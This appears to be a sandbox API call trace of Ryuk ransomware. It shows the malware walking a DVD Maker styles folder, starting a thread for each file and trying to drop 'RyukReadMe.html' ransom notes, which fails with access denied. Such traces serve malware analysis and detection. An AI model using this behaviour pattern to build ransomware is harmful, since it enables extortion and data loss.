	[0186.931] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xec0
	[0186.933] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0186.934] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72669a5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72669a5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553c313d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc57, dwReserved0=0x76, dwReserved1=0x0, cFileName="16_9-frame-image-inset.png", cAlternateFileName="")) returned 1
	[0186.935] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0186.935] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xec4
	[0186.937] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0186.938] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x213d, dwReserved0=0x76, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1
	[0186.938] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0186.938] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xec8
	[0186.941] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0186.941] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fb8, dwReserved0=0x76, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1
	[0186.941] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0186.944] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xecc
	[0187.002] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0187.003] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x20d6, dwReserved0=0x76, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1
	[0187.003] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0187.004] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xed0
	[0187.005] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0187.006] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x76, dwReserved1=0x0, cFileName="button-bullet.png", cAlternateFileName="")) returned 1
	[0187.006] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0187.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xed4
	[0187.009] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0187.010] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x76, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1
	[0187.010] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0187.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xed8
	[0187.012] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0187.013] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726dbe73, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726dbe73, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x47c1d, dwReserved0=0x76, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1
	[0187.013] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0187.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xedc
	[0187.016] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0187.016] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11276, dwReserved0=0x76, dwReserved1=0x0, cFileName="header-background.png", cAlternateFileName="")) returned 1
	[0187.016] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0187.017] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xee0
	[0187.020] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0187.020] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3126b, dwReserved0=0x76, dwReserved1=0x0, cFileName="passport.png", cAlternateFileName="")) returned 1
	[0187.020] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0187.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xee4
	[0187.022] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0187.023] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7272812d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7272812d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x10e94, dwReserved0=0x76, dwReserved1=0x0, cFileName="Passport.wmv", cAlternateFileName="")) returned 1
	[0187.023] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0187.023] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xee8
	[0187.024] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0187.025] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x58bf8, dwReserved0=0x76, dwReserved1=0x0, cFileName="passportcover.png", cAlternateFileName="")) returned 1
	[0187.025] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0187.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xeec
	[0187.028] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0187.029] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0x76, dwReserved1=0x0, cFileName="PassportMask.wmv", cAlternateFileName="")) returned 1
	[0187.029] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0187.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xef0
	[0187.032] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0187.032] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0x76, dwReserved1=0x0, cFileName="PassportMask_PAL.wmv", cAlternateFileName="")) returned 1
	[0187.033] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0187.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xef4
	[0187.035] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0187.036] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727c06a1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727c06a1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12b9, dwReserved0=0x76, dwReserved1=0x0, cFileName="passport_mask_left.png", cAlternateFileName="")) returned 1
	[0187.036] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0187.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xef8
	[0187.288] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0187.289] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cd, dwReserved0=0x76, dwReserved1=0x0, cFileName="passport_mask_right.png", cAlternateFileName="")) returned 1
	[0187.289] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0187.290] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xefc
	[0187.291] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0187.292] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7274e28a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7274e28a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1aaec, dwReserved0=0x76, dwReserved1=0x0, cFileName="Passport_PAL.wmv", cAlternateFileName="")) returned 1
	[0187.292] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0187.293] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf00
	[0187.295] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0187.296] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72538f74, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72538f74, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18337, dwReserved0=0x76, dwReserved1=0x0, cFileName="play-background.png", cAlternateFileName="")) returned 1
	[0187.296] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0187.297] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf04
	[0187.298] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0187.299] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72512e17, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72512e17, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbf1, dwReserved0=0x76, dwReserved1=0x0, cFileName="selection_subpicture.png", cAlternateFileName="")) returned 1
	[0187.299] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0187.299] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf08
	[0187.302] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0187.302] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x658e, dwReserved0=0x76, dwReserved1=0x0, cFileName="travel.png", cAlternateFileName="")) returned 1
	[0187.302] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0187.303] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf0c
	[0187.305] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0187.306] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7258522e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7258522e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x321a4, dwReserved0=0x76, dwReserved1=0x0, cFileName="TravelIntroToMain.wmv", cAlternateFileName="")) returned 1
	[0187.306] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0187.307] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf10
	[0187.310] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0187.310] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725d14e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725d14e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0x76, dwReserved1=0x0, cFileName="TravelIntroToMainMask.wmv", cAlternateFileName="")) returned 1
	[0187.310] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0187.311] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf14
	[0187.313] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0187.314] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0x76, dwReserved1=0x0, cFileName="TravelIntroToMainMask_PAL.wmv", cAlternateFileName="")) returned 1
	[0187.314] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0187.315] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf18
	[0187.318] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0187.318] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0x76, dwReserved1=0x0, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 1
	[0187.318] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0187.319] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf1c
	[0187.579] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0187.579] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0x76, dwReserved1=0x0, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 0
	[0187.580] FindClose (in: hFindFile=0x7a460 | out: hFindFile=0x7a460) returned 1
	[0188.048] SetLastError (dwErrCode=0x0) 
	[0188.048] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.049] GetLastError () returned 0x5
	[0188.049] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0188.049] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.049] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="VideoWall", cAlternateFileName="VIDEOW~1")) returned 1
	[0188.049] SetLastError (dwErrCode=0x0) 
	[0188.049] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.050] GetLastError () returned 0x5
	[0188.050] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0188.050] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.050] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a460
